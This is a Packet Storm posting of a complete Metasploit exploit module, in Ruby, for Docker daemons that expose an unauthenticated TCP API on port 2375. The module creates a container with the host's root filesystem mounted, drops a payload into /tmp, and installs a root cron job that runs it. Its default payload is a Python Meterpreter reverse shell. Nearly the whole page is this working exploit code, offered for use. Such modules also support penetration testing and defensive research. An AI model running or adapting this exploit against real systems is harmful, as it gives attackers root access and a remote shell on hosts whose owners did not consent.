Exploit the possiblities

Docker Daemon Unprotected TCP Socket

Docker Daemon Unprotected TCP Socket
Posted Sep 8, 2017
Authored by Martin Pizala | Site metasploit.com

Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp with tls but without tls-auth), an attacker can create a Docker container with the '/' path mounted with read/write permissions on the host server that is running the Docker container. As the Docker container executes command as uid 0 it is honored by the host operating system allowing the attacker to edit/create files owned by root. This exploit abuses this to creates a cron job in the '/etc/cron.d/' path of the host server. The Docker image should exist on the target system or be a valid image from hub.docker.com.

tags | exploit, root, tcp
MD5 | 2e0895a99e8f3feabc8340b9ea555f3f

Docker Daemon Unprotected TCP Socket

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit',
'Description' => %q{
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
with tls but without tls-auth), an attacker can create a Docker
container with the '/' path mounted with read/write permissions on the
host server that is running the Docker container. As the Docker
container executes command as uid 0 it is honored by the host operating
system allowing the attacker to edit/create files owned by root. This
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
the host server.

The Docker image should exist on the target system or be a valid image
from hub.docker.com.
},
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'],
['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
],
'DisclosureDate' => 'Jul 25, 2017',
'Targets' => [
[ 'Python', {
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Payload' => {
'Compat' => {
'ConnectionType' => 'reverse noconn none tunnel'
}
}
}]
],
'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(2375),
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
]
)
end

def check_image(image_id)
vprint_status("Check if images exist on the target host")
res = send_request_raw(
'method' => 'GET',
'uri' => normalize_uri('images', 'json')
)
return unless res and res.code == 200 and res.body.include? image_id

res
end

def pull_image(image_id)
print_status("Trying to pulling image from docker registry, this may take a while")
res = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri('images', 'create?fromImage=' + image_id)
)
return unless res.code == 200

res
end

def make_container_id
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?

rand_text_alpha_lower(8)
end

def make_cmd(mnt_path, cron_path, payload_path)
vprint_status('Creating the docker container command')
echo_cron_path = mnt_path + cron_path
echo_payload_path = mnt_path + payload_path

cron_command = "python #{payload_path}"
payload_data = payload.raw

command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
command << "echo \"\" >> #{echo_cron_path} && "
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"

command
end

def make_container(mnt_path, cron_path, payload_path)
vprint_status('Setting container json request variables')
{
'Image' => datastore['DOCKERIMAGE'],
'Cmd' => make_cmd(mnt_path, cron_path, payload_path),
'Entrypoint' => %w[/bin/sh -c],
'HostConfig' => {
'Binds' => [
'/:' + mnt_path
]
}
}
end

def del_container(container_id)
send_request_raw(
{
'method' => 'DELETE',
'uri' => normalize_uri('containers', container_id)
},
1 # timeout
)
end

def check
res = send_request_raw(
'method' => 'GET',
'uri' => normalize_uri('containers', 'json'),
'headers' => { 'Accept' => 'application/json' }
)

if res.nil?
print_error('Failed to connect to the target')
return Exploit::CheckCode::Unknown
end

if res and res.code == 200 and res.headers['Server'].include? 'Docker'
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
# check if target is vulnerable
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::Unknown, 'Failed to connect to the target')
end

# check if image is not available, pull it or fail out
image_id = datastore['DOCKERIMAGE']
if check_image(image_id).nil?
fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil?
end

# create required information to create json container information.
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
payload_path = '/tmp/' + rand_text_alpha(8)
mnt_path = '/mnt/' + rand_text_alpha(8)
container_id = make_container_id

# create container
res_create = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri('containers', 'create?name=' + container_id),
'headers' => { 'Content-Type' => 'application/json' },
'data' => make_container(mnt_path, cron_path, payload_path).to_json
)
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201

print_status("The docker container is created, waiting for deploy")
register_files_for_cleanup(cron_path, payload_path)

# start container
send_request_raw(
{
'method' => 'POST',
'uri' => normalize_uri('containers', container_id, 'start')
},
1 # timeout
)

# wait until container stopped
vprint_status("Waiting until the docker container stopped")
res_wait = send_request_raw(
'method' => 'POST',
'uri' => normalize_uri('containers', container_id, 'wait'),
'headers' => { 'Accept' => 'application/json' }
)

# delete container
deleted_container = false
if res_wait.code == 200
vprint_status("The docker container has been stopped, now trying to remove it")
del_container(container_id)
deleted_container = true
end

# if container does not deploy, remove it and fail out
unless deleted_container
del_container(container_id)
fail_with(Failure::Unknown, "The docker container failed to deploy")
end
print_status('Waiting for the cron job to run, can take up to 60 seconds')
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    15 Files
  • 2
    Dec 2nd
    2 Files
  • 3
    Dec 3rd
    1 Files
  • 4
    Dec 4th
    15 Files
  • 5
    Dec 5th
    15 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    17 Files
  • 8
    Dec 8th
    15 Files
  • 9
    Dec 9th
    13 Files
  • 10
    Dec 10th
    4 Files
  • 11
    Dec 11th
    41 Files
  • 12
    Dec 12th
    44 Files
  • 13
    Dec 13th
    25 Files
  • 14
    Dec 14th
    15 Files
  • 15
    Dec 15th
    28 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close